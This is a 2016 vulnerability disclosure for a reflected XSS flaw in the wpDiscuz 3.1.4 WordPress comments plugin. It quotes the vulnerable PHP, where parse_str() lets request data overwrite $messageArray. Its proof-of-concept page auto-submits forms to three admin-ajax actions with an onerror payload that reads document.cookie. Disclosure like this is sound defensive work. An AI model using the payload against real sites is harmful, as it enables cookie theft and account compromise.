30-05-2016 / Vulnerabilities

wpDiscuz Supercharged native comments 3.1.4 Reflected XSS

parse_str() function is used without second param so variables are set in current scope.

Using this we can override previously defined variables, in this case $messageArray which is later displayed using wp_die(json_encode($messageArray));.

Because Content-Type: application/json is not set, we have XSS.

File: wpdiscuz\class.WpdiscuzCore.php

add_action('wp_ajax_getSingleComment', array(&$this, 'getSingleComment'));
add_action('wp_ajax_nopriv_getSingleComment', array(&$this, 'getSingleComment'));
public function getSingleComment() {
    global $current_user;
    get_currentuserinfo();
    $messageArray = array();
    $commentData = filter_input(INPUT_POST, 'wpdiscuzAjaxData');
    if ($commentData) {
        parse_str($commentData);
        $commentId = intval(trim($commentId));
        $postId = intval(trim($postId));
        if ($commentId && $postId) {
            $parentComment = $this->optimizationHelper->getCommentRoot($commentId);
            $tree = array();
            $tree = $this->optimizationHelper->getTreeByParentId($parentComment->comment_ID, $tree);
            $this->commentsArgs = $this->getDefaultCommentsArgs();
            $this->commentsArgs['wc_comments'] = array_merge(array($parentComment->comment_ID), $tree);
            $comments = get_comments($this->commentsArgs);
            $commentListArgs = $this->getCommentListArgs($postId);
            $commentListArgs['isSingle'] = true;
            $commentListArgs['new_loaded_class'] = 'wc-new-loaded-comment';
            $commentListArgs['current_user'] = $current_user;
            $messageArray['message'] = wp_list_comments($commentListArgs, $comments);
        }
        $this->commentsArgs['caller'] = '';
        wp_die(json_encode($messageArray));
    }
}

Proof of Concept

This issue exists in few places, for example:

<body onload="document.f1.submit()">
<form name="f1" method="post" action="http://wp/wp-admin/admin-ajax.php?action=voteOnComment">
    <input type="hidden" name="wpdiscuzAjaxData" value="messageArray[xss]=<img src=a onerror=alert(document.cookie)>">
    <input type="submit" value="Attack">
</form>
<form name="f2" method="post" action="http://wp/wp-admin/admin-ajax.php?action=getSingleComment">
    <input type="hidden" name="wpdiscuzAjaxData" value="messageArray[xss]=<img src=a onerror=alert(document.cookie)>">
    <input type="submit" value="Attack2">
</form>
<form name="f3" method="post" action="http://wp/wp-admin/admin-ajax.php?action=readMore">
    <input type="hidden" name="wpdiscuzAjaxData" value="messageArray[xss]=<img src=a onerror=alert(document.cookie)>">
    <input type="submit" value="Attack3">
</form>

Timeline

  • 15-01-2016: Discovered
  • 15-01-2016: Vendor notified
  • 16-01-2016: Version 3.2.0 released, issue resolved